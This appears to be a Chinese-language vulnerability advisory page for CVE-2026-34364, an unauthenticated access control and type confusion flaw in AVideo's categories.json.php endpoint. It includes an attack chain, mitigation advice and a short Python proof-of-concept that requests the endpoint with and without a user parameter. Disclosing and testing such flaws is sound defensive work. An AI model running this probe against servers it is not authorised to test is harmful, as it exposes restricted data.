IPBUF安全漏洞报告
English
CVE-2026-34364 CVSS 5.3 中危

CVE-2026-34364 AVideo访问控制失效漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-34364
漏洞类型
访问控制失效
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WWBN AVideo

相关标签

访问控制失效信息泄露WWBN AVideoCVE-2026-34364类型混淆

漏洞概述

WWBN AVideo是一款开源视频平台。在26.0及以下版本中,其`categories.json.php`端点存在严重的访问控制失效漏洞。由于缺乏有效的用户组权限校验,攻击者无需身份验证即可访问所有非私有类别,包括那些本应仅限于特定用户组的内容。该漏洞源于对请求参数处理不当,导致信息泄露风险。

技术细节

该漏洞的核心在于`categories.json.php`文件中的访问控制逻辑缺陷。在受影响版本中,该接口用于提供分类列表API,但存在两处关键问题。首先,当请求不包含`?user=`参数时,系统完全跳过了基于用户组的过滤逻辑,直接返回数据库中所有标记为非私有的类别列表,从而绕过了针对特定用户组的访问限制。其次,当请求包含`?user=`参数时,代码存在类型混淆漏洞。由于变量处理错误,系统错误地将当前用户的上下文识别或关联为管理员用户(user_id=1),并使用管理员的全能组成员资格来执行过滤。由于管理员默认拥有所有类别的访问权限,这种错误的权限提升导致过滤机制完全失效。攻击者可通过构造简单的HTTP请求,无需认证即可遍历并获取系统内本应受限的分类数据,造成严重的信息泄露。

攻击链分析

STEP 1
侦察
攻击者识别出目标是运行WWBN AVideo 26.0或更低版本的服务器,并定位到`categories.json.php`接口。
STEP 2
漏洞利用
攻击者向`categories.json.php`发送HTTP GET请求,故意不携带`?user=`参数,或者携带一个触发类型混淆的参数。
STEP 3
权限绕过
服务器端由于逻辑缺陷,跳过了用户组权限检查,或错误地使用了管理员权限上下文。
STEP 4
数据泄露
服务器返回JSON格式的所有类别列表,包括受限制的类别数据,攻击者成功获取敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def check_vulnerability(target_url): """ Proof of Concept for CVE-2026-34364 Checks for access control bypass in categories.json.php """ endpoint = "/categories.json.php" full_url = target_url + endpoint # Case 1: Request without user parameter (skips filter) print("[*] Testing default request path...") try: r1 = requests.get(full_url, timeout=5) if r1.status_code == 200 and len(r1.content) > 0: print("[+] Potential leak detected on default path.") print(f"Content: {r1.text[:200]}") except Exception as e: print(f"Error: {e}") # Case 2: Request with user parameter (type confusion) print("\n[*] Testing type confusion path...") try: r2 = requests.get(full_url + "?user=1", timeout=5) if r2.status_code == 200 and len(r2.content) > 0: print("[+] Potential leak detected via user parameter.") print(f"Content: {r2.text[:200]}") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": target = "http://localhost/avideo" # Replace with actual target check_vulnerability(target)

影响范围

WWBN AVideo <= 26.0

防御指南

临时缓解措施
如果无法立即升级,建议在Web服务器(如Nginx或Apache)配置文件中暂时屏蔽对`categories.json.php`路径的外部访问,或通过WAF(Web应用防火墙)规则拦截对该端点的未授权请求,直到补丁应用完毕。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表